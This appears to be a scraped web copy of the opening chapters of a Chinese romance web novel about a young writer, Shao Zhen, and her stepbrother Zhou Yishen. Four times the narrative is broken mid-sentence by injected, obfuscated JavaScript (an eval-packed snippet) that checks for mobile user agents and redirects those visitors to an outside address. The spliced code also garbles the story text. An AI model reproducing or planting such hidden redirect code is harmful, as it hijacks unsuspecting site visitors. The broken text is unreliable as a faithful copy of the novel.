《暗潮》 1. 妹妹 三月十九日那天,江城下了半晌的雨。 雨丝细密,像一张潮湿又黏腻的网,这是工作日的早晨最不喜欢遇见的天气之一。 幸运的是,韶真并不用上班。 这是她辞掉工作,回江城的第一个月。 即使里里外外打扫过两遍,许久未住人的房子还是总有种陈旧的味道,挥之不去。 但还可以忍受。 毕竟,她回江城是为了躺平全职写文的,没必要放着以前家里的房子不住,再去另外租房。 临近中午那会,雨不知不觉停歇。 光线刺破云层从窗帘的空隙映进来,韶真在床上微微眯了下眼。 她的作息一向昼夜颠倒,睡到下午起床是常态。 本来想翻过身继续睡时,手机的消息提示音响了一下。 困意瞬间消散了大半。 韶真摸索出枕头边的手机,一张要醒不醒的脸对准前置摄像头。 第一下,没解锁。 她换了个角度,心想总不至于睡一觉起来手机不认得自己了吧。 直到锁屏界面显示“需要密码以启用面容ID”时,韶真彻底不困了,指尖烦躁地快速点了几个数字。 发来消息的是发小徐语宁: 阿真,生日快乐! 韶真出神了三秒。 第一反应是,对方打出“阿真”两个字的时候,紧跟着的联想词一定是“爱上了阿强”,这句话徐语宁时不时拿腔拿调地在她耳边吟唱。 然后,才后知后觉地反应过来,今天是她生日。 回江城这段时间,日子过得昏昏沉沉,连同自己的生日都忘记了。 还没来得及感慨,这是她过得第一个父母都不在身边的生日,下一秒,聊天框又跳出一条新消息。 徐语宁:我在Zueet预定了卡座,准备今天晚上给你个大惊喜!保准让你度过一个难忘的二十三岁! 韶真揉了下额角,隐隐有种不太好的预感。 她回了句:惊、喜,哪个成分更多一点? 对方发了个捂嘴笑的表情包:一半一半吧。 哦,懂了。 惊大于喜。 但秉持着对好友的信任,韶真觉得她不至于做太出格的事。 徐语宁紧接着又发来一条消息:晚上八点左右,记得化个美美的妆。 过生日嘛,总要化个妆再出门的。 韶真没多想,回了句:嗯哼~ 中午饭随便对付了点,韶真本来就不会做饭,再加上独居,就自己一个人觉得吃什么也无所谓。 说好听点,是对食物没太多要求。 说不好听,就是懒得做饭也懒得学。 要么外卖,要么各种速食食品。 再加上作息不规律。 韶真深知自己的生活习惯很不健康,但依然还是每天提心吊胆的……保持。 午饭刚过,韶真接到母亲陈怡的电话。 说起来,她的家庭情况是有些复杂的。 高二下学期,父母离婚,分开得很和平。 她被判给了父亲,母亲改嫁到京州周家,执意要带她一起去,并且抛出了那边教育资源更好,这种很难反驳拒绝的条件。 她爸韶延几乎没有任何犹豫,就答应了。 韶真印象很深刻的是,她和母亲去京州前,韶延站在卧室门口看她收拾行李,然后笑眯眯说:“你妈要离婚的时候,我就跟她说过:我不会阻止你走向更好的前程。这句话,爸爸也送给你。” 当时韶真愣了下。 韶延接着说:“爸这大半辈子也没攒到什么钱,等你去了京州,我也没什么好操心的了,准备跟老同学一块出国务工。到时候,还能留点存款给你……” 记忆有点太久远,韶真都快记不清韶延说这话的时候是什么表情了。 大约是红了眼眶。 后来,韶真在京州读了高三,又读了大学。 继父家境优越,人也很好相处。 但莫名的,那种寄人篱下的感觉,就像老旧收音机的杂音,在信号良好时会冷不丁冒出来。 她对周家,一直都没有归属感。 这也是毕业后就选择回到江城的原因。 滑动接听,陈怡温柔的声音从那头传来:“小真,睡醒了吧?” 母亲近段给她打过不少电话,也清楚她的作息。 韶真将碗筷丢进水池,没急着刷,转身靠在水池边缘,轻轻“嗯”了一声。 陈怡笑吟吟地问:“今天你生日,不会不记得了吧?” 本来确实是忘了的。 韶真不想让陈怡觉得她生活过得颠三倒四,生日都记不清,又要操心她自己根本照顾不好自己。 于是笑了笑,故作轻松地说:“哪能,这不刚睡醒,还没来的及问你要生日礼物嘛。” “你呀。”陈怡也跟着笑,“上周跟你说,让你搬回京州,你说不想。妈就让你哥把礼物捎带到江城了,他年后正好被派到江城分公司了。你周叔叔还叮嘱他要多照顾你呢。” 突然听到“你哥”这个称呼。 韶真怔了下,慢半拍才把这个称呼和周以慎这个人对上。 准确来说,是继兄,比她大三岁。 印象中,她和周以慎并不熟。 五年以来,除却年夜饭桌上扮演兄友妹恭的温情场面外,两人交集寥寥。 一想到要跟这位继兄见面,韶真难免有点紧张,毕竟,他太优秀,人生轨迹完全就是精英教育下出类拔萃的富家子弟。 相较之下,衬得她越发咸鱼。 好在,对方是大忙人。 捎带礼物应该也只用短暂地见一面,或许会出于涵养说句“生日快乐”,但绝不会真陪她过生日。 这么想着,紧张感稍稍缓解。 又和陈怡聊了几句,无非是叮嘱她照顾好自己,如果在江城待不下去就还回京州。 韶真笑笑:“再说吧。” 电话挂断后,看了眼时间,她去浴室冲了个澡。正裹着浴巾出来挑选晚上要穿的衣服,徐语宁很合时宜地发来一条消息: 请放弃你的宽松衣服,加入更权威的圈子! 韶真拎着宽松卫衣的手抖了一下,随后默默将卫衣又挂了回去。 她怀疑,这女人是不是在她家按摄像头了。 最终,翻遍衣柜,韶真终于找到一条黑色针织裙,勉强能符合徐语宁所说的“权威”。 一字领的设计,收腰款式。 只不过,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144229|164637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条短裙。 三月下旬这个温度,还需要再配一条丝袜。 那么不可避免的,就要再配一双高跟鞋。 这是她从来没有尝试过的风格。 但如果作为生日穿搭的话,拍照应该会很出片。 记忆中,她好像确实有一双高跟鞋。 黑色皮面,红底,细跟搭配品牌标志性logo。 韶真在鞋柜角落里找到这双鞋,打开落了一层薄灰的鞋盒,拆掉包裹鞋身的防尘袋,鞋面泛着细腻崭新的光泽。 这是她十八岁生日时收到的礼物,来自于她并不太熟的继兄。 由于过完成人礼就临近高考,学业压力下,她一度把这双鞋遗忘,连试都没有试。上了大学又是以宽松舒适的衣服为主,就导致这双鞋在柜子里蒙尘了好几年。 如果不是搬回江城时收拾东西,她估计真要想不起来这双鞋子了。 韶真在落地镜前试了下,很合脚,并且,非常显腿长。 一时之间,她不知道是该感慨周以慎确实很有眼光,还是她成年之后脚码真的一点没变。 化完全妆,换好一身行头后,已经是晚上七点多了,韶真对镜拍了一张发给徐语宁。 韶真:够权威吗? 三秒之后,对方回复:何止权威,简直是妈妈级别。 “……” 韶真没回,点开了打车软件。 她还没考驾照,当然,也没车。 小电驴是她唯一的出行工具,只不过,今天这身,实在是不适合骑。 打到车的同一时间,微信来了一条新信息。 周以慎:陈姨托我把礼物带给你,现在方便吗? 韶真垂眼看着这条消息,点开后才发觉,距离上次跟他聊天已经是半年前。 想了一下,她礼貌地询问:哥,可以送到Zueet吗?朋友在那里给我过生日,我现在正准备过去。 那边沉寂有一分钟,韶真怀疑他是不是点开地图搜定位去了。 她刚想再加一句:如果不顺路的话,我明天有空自己去拿就可以。 一串字打完,手指即将按“发送”键时,周以慎回消息了。 周以慎:可以。 韶真连忙又将这行字删掉,像按照往常一样在他面前装乖,回复:好的,谢谢哥哥,那你到了给我发消息,我出去拿。 韶真默认周以慎不会想耽误时间进来给她过生日,所以,她自认为很善解人意地加了“我出去拿”这句话。 对方显然也认可这种方式。 回了一个“嗯”字。 塑料兄妹,果然还有点距离感比较好。 韶真在心里默默想着,而后披了件长款大衣出门。 - 晚上七点三十,公司大楼的灯熄灭了一大半。 顶层办公室里,周以慎盯着手机屏幕微微蹙眉。 地图搜索位置显示,Zueet是一家酒吧。 妹妹早就已经成年,去酒吧过生日也无可厚非。只是…… 他目光触及那几个小字:商务Club “商务”两个字让他难免多想。 周以慎揉了揉眉心,起身拎起西装外套。 妹妹一贯乖巧,是他不该多想的。 2. 妹妹 韶真抵达Zueet的时候,人并不算多,一眼望去,就看到徐语宁坐在卡座上朝她招手。 卡座的位置绝佳,韶真走过去时,徐语宁正偏过头在跟营销说话,至于说得什么,她没听清,只看到营销的笑容有点耐人寻味。 韶真随手把大衣外套搭在卡座上。 徐语宁目光在她身上逡巡,眼睛明显一亮:“宝贝,我今天晚上要给你拍一百张照片!” “你想拍多少都可以,但是……”韶真低头看着桌子上五花八门的酒,难以置信地皱了下眉:“你确定咱俩能喝完?” 徐语宁以为她是觉得人少,就解释:“我想着你去京州之后,和其他同学也没怎么联系,叫过来反而会不自在。” 两人从小就认识,初中高中都在一个学校,交情不是一般深。韶真去了京州后,和以前的同学基本上都逐渐断联,唯有徐语宁是例外。 韶真:“我不是这个意思……” 以前过生日总喜欢呼朋唤友,显得自己人缘很好。但越长大才觉得,这种时候,有家人和一两个知心好友就足够了。 “要是担心酒喝不完,那就多余了。”徐语宁笑得眯着眼睛,语气别有深意:“还记得我跟你说过的惊喜吗?” “啊?” 韶真眼皮莫名跳了一下。 她觉得,徐语宁的表情就好像是挖好了一个坑,等着她去跳。 韶真深吸了一口气,努力表现出一副很期待的样子,实际上心已经提起来了。 她朝徐语宁笑了下:“什么惊喜呀?这么神秘?” 她话音刚落。 下一秒,面前出现一排男人,遮挡住本就昏昧的光影,韶真下意识睁大眼睛,就听到这些男人齐刷刷地说: “姐姐晚上好!” “……” 韶真愣了三秒,缓缓地、近乎机械地转过头看向徐语宁,“这……就是你说的惊喜吗?” “怎么样!surprise!”徐语宁难掩兴奋,“你之前不还说想谈恋爱了吗?今天让你恋个够!” 一周前,韶真确实在微信上徐语宁这么说过。 但她的原话是,好想谈个男朋友每天给我洗衣服做饭打扫卫生。 这句话的重点不是在“谈个男朋友”,而是在“洗衣服做饭打扫卫生”。 简而言之,她想要个免费保姆。 而不是,找这种一次性的……嘎嘎。 韶真无语地扯了下嘴角。 徐语宁当她是开心过头,轻轻碰了下她的手臂,笑得暧昧:“挑两个,还是……全坐?” 韶真迟疑地问:“能不能……全走?” “不会吧?一个都没看上?”徐语宁一脸“没道理啊”的表情,“这里的男模在整个江城,算是质量最高的了。” “不是看不看上的问题,而是……”韶真正在想要怎么跟好朋友解释,又不至于太扫兴的时候,隐约听到有人叫了一声自己的名字。 音响声太大,她以为自己幻听,没当回事。 直到,听到一声更为清晰的“韶真”。 她缓缓抬眸,就看到周以慎站在离她很近的地方,目光淡淡扫过她面前的一排男模,而后以一种难以言喻的眼神看向她。 他身量很高,穿着面料考究的西装,眉目沉静,有种天然的贵气,与周遭的环境格格不入。 韶真呆住,一时不知道该说什么。 她在周家时,很有寄住的自觉,一直维持乖巧懂事的形象。 现在被周以慎看到这样的场景,仿佛不为人知的另一面被发现,心虚感直线上升。 偏偏这时候,最右边的男模大概是怕今晚上不了班,压着嗓子开口说:“紫啧,选我吧。我给你展示个才艺?” “……不用。” 韶真慌忙制止他,而后看向周以慎。 其实只是大致望过去,并不敢真跟他对视。 “哥……” 音响里播放着的电子乐震耳欲聋,韶真试图找到自己的声音,“你怎么来了?” 她的语调不自觉地有些颤。 周以慎望着她,光影浮浮沉沉间,那张妆容精致的脸让他有一瞬间陌生。记忆中,妹妹总是顶着一张干净乖巧的素颜。 他倒是不至于去管束妹妹的妆容穿搭。 只不过,在看到她因起身动作幅度过大,而微微下滑的领口时,还是忍不住抬手点了点自己的肩膀,提醒她。 韶真迅速提了下一字领的领口,因为慌张,心跳得乱七八糟。 这时,周以慎才解释:“给你发消息,你没回。” 他的语气很平淡,不带半分兴师问罪的意味。 让韶真稍稍缓和了一些尴尬,她摸出手机看了下,提示微信有条未读消息,在十分钟前。 “抱歉,哥哥。我刚刚没看手机。” “没事。” 周以慎的态度算得上温和。 察觉到卡座上还有另外一位女士,应当是妹妹的朋友,他略微颔首,算作是打招呼。 而后视线又转向韶真,询问道:“礼物在车后备箱,现在去拿吗?” “现在去!”韶真很果断地点头。 她现在很需要出去冷静一下。 转身给了徐语宁一个“等下就回来”眼神后,韶真默默跟在周以慎身后,往外边走。 一路上,她都在酝酿措辞。 她觉得有必要主动解释一下,如果她点男模这种事情传到陈怡耳边,按照母亲的性格,绝对不会再允许她独自在江城。 一定会想尽办法,把她留在身边,牢牢看住。 况且,这本身就是个误会。 做了一番心理建设,韶真在周以慎打开车后备箱时,终于鼓足勇气开口:“哥,其实我刚刚……” 话刚开始说,她听到对方轻轻笑了下。 “我知道。” 韶真怔住。 心说,你知道什么? 周以慎看向她:“想体验一些新奇事物,这并没有什么。但是……” 他沉默片刻后,语重心长地接道:“要注意保护好自己。喝酒可以,其他的就没必要了,这种场所的男人都……” 他停顿了下,不好意思把这话挑太明白。 韶真瞬间明白周以慎的意思。 她的脸颊以肉眼可见的速度泛红,“哥……你真的误会,这只是……我朋友给我的生日惊喜……” 她开始结结巴巴。 周以慎余光看到她的样子,轻轻别过眼。 按理说,他不应该干涉妹妹的私生活。一来,她已经成年了,二来,他们又不是亲兄妹。 但同在江城,他答应过父亲会照顾她。 思虑片刻。 周以慎道:“礼物先不拿了。” 他合上车后备箱,“我正好有个工作上的问题,需要在这附近处理。等你结束给我发消息,我送你回去。” 还挺巧。 韶真其实很心动这个提议,毕竟坐周以慎的车确实比深夜打车要安全。 但她还是矜持了下:“哥,这会不会太麻烦你了?” “不会。” “那……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144230|164637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯?” 韶真得寸进尺地提出:“今晚的事,能不能不要跟我妈说?” 周以慎没想到她会说这个,唇角一松,“嗯。回去和朋友玩吧。” - 韶真回去的时候,里边的氛围比刚刚嗨多了,五彩斑斓的光束打在舞池里,虚幻又迷离。她穿过人群,拒绝了几个搭讪,坐回到卡座。 那排男模已经被徐语宁打发走了。 桌面上不知何时多了个别致精巧的蛋糕。 徐语宁轻轻晃着酒杯,揶揄她:“怪不得一个没看上?原来身边有这么顶级的资源。” 韶真唇线绷直,强调:“那是我哥。” “又没有血缘关系。”徐语宁耸耸肩,接着说:“他刚在外边跟你说了什么?有没有凶你?毕竟,哥哥撞见妹妹点男模……” 前一秒她的表情还是担忧,下一秒直接换了一副嘴脸:“想想都刺激!” “……” 韶真无语地瞥她一眼,“让你失望了,他不止没凶我,还答应替我保密,而且……他正好要在附近处理工作,等下还能送我回家。” 徐语宁忍不住感叹:“靠,这哥也太贴心了吧?等下……”凭借感情大师的直觉,她敏锐地发现了这句话的漏洞。 而后斩钉截铁道:“哪有那么正好,我看他就是想找个借口送你回家。” 韶真唇角抽了下,“你是不是恋爱谈多了,看谁都觉得暧昧?哥哥送妹妹回家,为什么还要找借口?完全没有必要啊。” “有没有一种可能……”徐语宁托着腮,“他怕你带男模去酒店加班,又不好意思直说?” “……” 韶真的表情很精彩。 眼神凉飕飕地看向徐语宁。 “就……猜测而已。”徐语宁打了个哈哈,赶紧转移话题,“你不是正在构思小说吗?这种现成的素材摆在这。” 韶真:“你指什么?” 徐语宁:“别装傻。当然是骨科呗……说错了,是伪骨科。” “……” 这个题材,韶真从来都没有想过。 如果她真的拿周以慎当作素材创作一本小说,那跟意`淫有什么区别? 韶真抿了一口酒,企图让这个不道德的想法从脑海中消失。 “打住。”她抬了抬手,不想再继续这个话题。 “不是说要给我拍一百张照片吗?” “对哦!”徐语宁如梦初醒般,“都忘了今晚的正事是给你过生日了。韶大美女,点生日蜡烛吧!我先给你拍闭眼许愿的照片。” 这个二十三岁生日过得确实难忘。 徐语宁当晚给她拍了不止一百张照片。 桌子上的酒确实没喝完。 韶真酒量不行,没敢多喝,担心等下会在周以慎面前出丑。徐语宁倒是喝嗨了,给男朋友打了电话来接。 韶真几乎是扶着她出去的,把她送上男朋友的车。 徐语宁醉了后格外粘人,一上车就搂着男友亲亲抱抱,对方亲昵地替她拢了拢头发,并没有多说什么,似乎对她喝醉这件事见怪不怪。 徐语宁透过车窗冲韶真挥了挥手:“拜拜,阿真……”她停顿了下,哼唱着后半句,“爱上了阿强。” “……” 韶真哼笑一下,目送她离开后,转身前往停车场。 周以慎那辆纯黑色的卡宴还停在刚才的位置,纹丝未动。 见她过来,车内的人鸣了下笛。 韶真不由自主闪过一个念头:不会真被徐语宁说中,处理工作只是借口吧? 3. 妹妹 韶真习惯性去拉后车门,手搭在门把上时,才反应过来,要是她坐在后座,那还真把周以慎当司机了。 想到之前实习时候,就因为坐后排被部门领导内涵过情商低。 她闭了闭眼,默默收回手,准备绕一圈去坐副驾位。 刚转过身,驾驶位的人低笑一声:“还挺讲究。不过我不在意这些,想坐哪里随你。” 心思被看穿,韶真眼睫低了低,手又重新搭上门把,一鼓作气拉开门坐进后排。 他的车里没有乱七八糟的香薰,味道很干净。 车载音响放着舒缓的纯音乐,周以慎抬眸看了一眼后视镜,“地址?” 韶真报了家的位置。 周以慎导航好路线后,发动车子。 他开车很专注,一路上并没有主动挑起话题。 酒精的后劲上来,韶真的脑袋有些昏昏沉沉,她歪头靠在椅背上,也没真睡,就是闭目养神。 一路上都有些沉默。 车缓缓驶进老城区,周遭的路灯黯淡了许多。 直到车缓缓停下,韶真朦朦胧胧地睁开眼。 周以慎车开得太稳,后半程她还真睡着了一会儿。此刻她脑袋有些混沌,听到他说“到了”,她就像得到指令的机器人般,开门下车。 周以慎也跟着下了车,绕到车尾按开后备箱。 下车被冷风一吹,韶真清醒了七七八八,她裹紧大衣,垂眸在后备箱里一众物品中,迅速锁定了一个包装朴素的袋子。 是她妈妈一贯的风格。 果然,周以慎拎出那个袋子递给她。 韶真接过,打算道谢的同时也道别。仰头正要开口时,看到他似乎欲言又止的样子。 “哥,还有什么话要交代吗?” 周以慎没想到她这么直来直去,无声地弯了下唇。其实他一路上都在想,这些话该怎样跟她说,毕竟他跟妹妹的关系,还没有熟到能推心置腹。 但她这么问了,他就顺理成章回道:“前两天我回京州,陈姨总在念叨你。她很想你,也放心不下你。” 顿了下,他接道:“我爸也是,他拿你当女儿看待,更希望你能留在京州。” 韶真沉默了,类似的话,母亲和她说过很多次。 她也知道留在京州意味着优越的生活,想躺平都不用再靠写网文,什么都不用做就可以拥有轻松的人生。 有些时候,人不会选择最好的,而是会选择最想选的。 韶真低头盯着脚尖,迟迟没有说话。 往常,母亲得不到她的回答,总会继续规劝,她以为周以慎也会如此,却听到一句嗓音低沉的夸赞: “鞋很衬你。” 这话让韶真有些猝不及防。 “高跟鞋并不代表成年,有选择才是。”周以慎笑了笑,语气比刚刚轻松许多,“所以,无论留在江城,还是回京州,选择的权利都在于你。” 韶真先是微怔,而后笑容一丝一丝抽开。 就是这样,给你选择胜过千万句“为了你好”。 “谢谢哥哥。”她笑得很乖巧,正要再接一句“哥哥再见”,看到周以慎微弯着腰从后备箱里又拿出一样东西。 他说:“好像有句话今晚还没有说。” “什么?” 周以慎放缓了语速:“生日快乐,妹妹。” 他将袋子递给她,纯黑的包装袋上,一朵立体的白色山茶花尤为明显。 韶真抿了抿唇。 不由得感叹,他送礼物的风格还真是始终如一。 这几年生日,收到他的礼物,无一例外都是大牌,鞋子、衣服之类的。属于是那种送给女生,怎么都不会出错。 “哥,你还挺会给女生送礼物的,经常送吗?” 今晚发生的事,让韶真有兄妹关系变得没那么塑料的错觉。她很自然地闲聊,毕竟,不出意外的话,她估计一辈子都要叫他哥哥,还是相处的融洽些比较好。 “是挺多的。家中的女性长辈,生意上的合作伙伴,逢年过节总是要送礼的。”周以慎认真想了想,“年轻女孩的话,可能就只有你。” 韶真呼吸一滞。 不动声色观察周以慎说这句话时的表情。 冷白的月光下,他的神色除了稍显倦怠外,并无其他情绪。 是她想多了。 她轻轻地松了口气,将这一瞬间的胡思乱想归结为,都怪今晚徐语宁在她耳边提了“骨科”两个字,给了她心理暗示般。 哥哥只是回答她的问题而已,并没有什么言外之意。 为了掩饰自己短暂沉默的一样,韶真善意地提醒:“哥,你这么说很像是暗示自己是单身。一般来说,向一个女生透露感情状态是带有特殊含义……” 她停顿了下,一脸正直地说:“幸好我是你妹妹不会误会。” 周以慎:“……” 以前怎么没发觉妹妹的思维如此发散,他微不可察地叹息,“时候不早了,快回去休息吧。” “好的。哥哥再见。” - 洗漱过后,韶真坐在沙发上拆礼物。 母亲送的礼物一如既往的朴实,实心的实。 盒子打开后她就被金灿灿的光晃了下眼睛,手指拂过黄金细腻光滑的触感,在标签处停下。 32.15g。 妈妈的爱就是如此沉重。 大概是因为今年她没在身边,除了金镯子之外,妈妈还给她准备酱牛肉、麻辣小鱼干、蒜蓉鸡翅中……都是真空包装。 韶真把这些食物都放进冰箱,而后合上门,眼底有些发热。 人在某些瞬间总会变成矛盾的结合体。 有那么一刻,她忽然想,或许回京州待在妈妈身边也不错。 可这个想法也只是短暂的一刻。 周家始终不是她的家。 现在这样其实挺好的,妈妈在周家不缺钱也不缺爱,而她则是过着自己想要选择的生活。 在睡觉前,她拆开了周以慎送的礼物。 意料之中,是这个牌子一款很经典的白色链条包,很基础百搭。她收好,连同包装袋一起放进衣柜中间的格子里。 这一晚,她做了整夜颠三倒四的梦。 早上醒来时喉咙难受得不行,直觉告诉她不是喝酒的原因,也不是口干舌燥的那种那种。 这种感觉形容不出来,而且也不是第一次了。 上周也有一次,过了半个小时左右又好了,她当时没怎么当回事。但这会,让她不得不重视起来。 虽然嘴上经常说着烂命一条,但身体真要有个什么事,她比谁都要惜命。当天上午就去医院呼吸科挂了号。 检查结果没什么大问题,只是有点轻微的呼吸道过敏,医生说可能和生活环境有关,建议她回家检查一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144231|164637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下居住房间有没有霉菌之类的。 韶真回家后第一时间翻出口罩戴好。 然后开始仔仔细细地检查房间。 她家的房子是上下两层的民房,有些年头了,再加上这几年没住人,韶真一直觉得那种挥之不去的陈旧味道是正常现象,等过一段时间就会消散。 结果这一检查才发现,有好几个房间,角落里的墙体多多少少都有些发霉的地方,且位置隐蔽。 尤其是她的卧室,背阳的位置。衣柜后边和床底的黑色霉斑有种触目惊心的感觉。 韶真指尖哆哆嗦嗦地点开手机,开始搜索霉菌的危害,在看到一篇有人霉菌引发肺部感染去世的报道时,她明显感觉到手臂上的汗毛竖起来了。 只是想想就一阵后怕的程度。 当天下午,韶真就联系了专业的清理公司。 对方在看完实地情况后告诉她:除菌的工作几天就可以完成,但后续最起码还要通风一个月,等到检测结果合格后才能居住。 韶真简单地收拾了下行李,带上贵重物品。 折腾完就已经是晚上了,她拎着行李箱站在车流不息的马路旁,望着夜幕下城市此起彼伏的霓虹,忽然有种一觉睡醒家没了的荒谬感。 她去酒店开了个房间。 洗了个热水澡出来后,坐在床边思考着下一步要住哪。 回京州? 不行。回去了妈妈肯定会担心,而且有很大概率不会再放她回来了。 去徐语宁家借住? 也不行。人家跟男友同居,她过去一起住算怎么回事。 又不能一直住酒店,一个多月可是一比不小的开销。 思来想去,韶真觉得,她只能选择租一个短租房,这种合适的房源并不好找,她决定等下吃过饭就开始在软件上看租房信息。 - 今晚周以慎有个应酬。 他空降到分公司担任ceo,明眼人一看就知道个中关系,各方面想要拉拢的人不计其数,有些可以推脱,但有些饭局不可避免。 他是主宾,做东的是业内很知名的广告公司老总,和集团有业务上的往来,于情于理他都没法拒绝。 饭局结束时,对方满脸笑意地一直送他到车上。 开车的是他的助理小王。 车辆行驶至一个路口,周以慎让小王把车窗打开通风,他目光不经意地望向窗外,一道熟悉身影猝不及防撞进视线里。 十多米的距离,他看到妹妹走进酒店。 她为什么会去酒店? 周以慎目光沉沉,眉心逐渐锁在一起。 “停车。” 小王不明所以,顺着他目光看过去,问:“周总,是看到认识的人了吗?” 周以慎言简意赅:“是妹妹。” 小王看着酒店的方位,小心翼翼提醒:“周总,我觉得这个时候还是不要打扰的好。” 这句话就很耐人寻味。 周以慎的神色冷了下来,沉声道:“这不是你该考虑的。” “是我的错。”小王惶恐地噤声。 周以慎几乎没什么犹豫,开门下车。 他并没有想过助理说得那个层面,妹妹一直很乖,他不会通过一个场景就妄下定论。 包括昨晚送她回家,也不是担心她会做什么出格的事,而是她刚出学校这座象牙塔,涉世未深,容易被人哄骗。 4. 妹妹 最近一个多月都在吃外卖和各种速食,但现在既然已经到外边了,韶真决定直接去店里吃。 正好附近有一家做砂锅的十年老店,高中时候她经常来吃。现在想起来,也不知道是怀念那个味道,还是怀念那个十五六岁的年纪。 味道还和记忆中一样。 韶真吃完,心满意足地回酒店。 她的房间号是1013,在十楼。 韶真站在电梯门口,等待电梯下来的途中,还顺便浏览了几个租房信息,只不过都没有符合她心里预期的。 电梯终于抵达一楼,韶真走进去按了楼层。 这个点等电梯的就她一个人,看着电梯门缓缓闭合,到一半时,一双修长骨感的手挡了一下。感应到有人,电梯门又重新打开。 这双手极具美感。 看到的第一眼,韶真就不由自主地想,小说男主的手有了参照物。 接着,她的目光慢慢上移。 随后,怔住。 “好巧啊,哥,你也住这个酒店?” 韶真调动面部肌肉,露出一个略显僵硬的笑。 周以慎没回答,往前了几步走进电梯。 电梯门合上,逼仄的空间内就他们两人。 周以慎身量本就高,离得越近更显压迫感,感受到来自上方的一道视线,静静的打量着她,韶真胸口开始发紧。 先是昨晚被他撞见点男模,现在又被看到深夜出现在酒店,这很难不让人产生一些遐想。 一回生二回熟,韶真深吸了一口气开始解释:“哥,你别误会。我是一个人住的酒店,不是跟人来……” 她话音一顿,“开房”两个字她是无论如何也没法在周以慎面前说出口。 电梯上行,楼层数字不断攀升。 “我没误会。” 相比起她的紧张,周以慎的声音要沉稳得多。他垂着眼眸,以关心的口吻问道:“为什么来酒店住?发生了什么事吗?” 越是平静的语气反而越能安抚人心。 韶真感觉到紧绷着的一根弦逐渐松懈下来,明明一整天的奔波疲倦都已经自己扛下来了,可还是会因为一句突如其来的关心而鼻尖一酸。 人总是坚硬又柔软的动物。 但韶真很快就调整好了情绪,她不想把脆弱的瞬间展露在周以慎面前,毕竟,他只是名义上的哥哥。 电梯在这时抵达十楼。 韶真走出电梯,弯唇笑了笑,若无其事道:“也没什么事。就是家里的墙发霉了,要等清理过后再搬回去。” 简简单单地一笔带过。反正这件事,也只对她有影响,对别人来说都是无关紧要。没必要也不想说得多严重,跟别人卖惨。 她说完,明显感觉到身后的人沉默片刻。 然后,周以慎也跟着她出了电梯。 咦?这么巧,他也住在十楼。 短短几秒的走神被他再度提问打断。 “为什么不给我打电话?” 他的语气辨不出太多情绪,只是一字一句咬得格外清晰,“同在江城,遇到问题,你甚至都没想到过我。” “韶真。” 他连名带姓地叫了她。 电梯厅安静异常,吊灯淡而柔和的光影铺洒在两人之间。 韶真的脊背蓦地有些僵硬。 他继续,不冷不淡地反问,“还是说,你只是嘴上叫哥哥,心里从来没有真的把我当哥哥看待?” 到现在,韶真才真正反应过来。 他为此不高兴了。 “哥,我没有……”心思被戳中,她的否认轻飘飘的,毫无力度。不敢对视,她盯着角落里的绿植,“我只是怕麻烦你。” 怕麻烦他的底层逻辑,是她不敢把他当成真正的哥哥那样,毫无顾忌的依赖。 他们不是真正的兄妹。 这一点纠结下去毫无意义。 “那你这段时间打算怎么办?”周以慎问。 “我准备找一个短租房。” “其实……”周以慎撩起眼皮看她,视线短暂停留又挪开,接了句:“你可以搬去我那里住。” 韶真错愕地仰头望着他。 “无论是因为答应过我爸要照顾你,还是出于对你的安全考虑,我认为这都是一个不错的提议。当然……” 他漆黑的眼眸落在她身上,停顿片刻,而后弯唇笑了下,看起来似乎真诚又坦荡:“选择的权利在你。” 韶真想,如果他是她亲哥,那她一定会毫不犹豫就答应。但…… 她笑了下,婉拒:“还是不打扰哥哥了,我一向作息不规律,会影响到你的。” 周以慎眉梢略挑,对她的回答并没有很意外。 “如果再遇到问题,可以随时联系我,不用觉得不好意思。”他抬了抬下巴,示意她回房间,“早点休息。” 韶真点了点头,从口袋里翻出房卡。 与此同时,周以慎按下电梯。 咦,原来他没有住这家酒店。 - 今天遇到的事情太多,各种困乏疲倦袭来,韶真难得早睡。次日早上,被一通电话吵醒。 看了眼屏幕上的备注,韶真坐起身,按下接听。 “妈,有什么事?” 按理说,母亲清楚她作息不规律,一般不会这么早给她打电话,大概是有什么要紧的事。 “你住的房子发霉了?去医院检查了没?霉菌会影响身体健康的。我早说过,你一个人照顾不好自己的,你还非要回江城。现在出这么大的事,你都不告诉妈妈……” 陈怡声音里的焦急如有实质般,隔着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 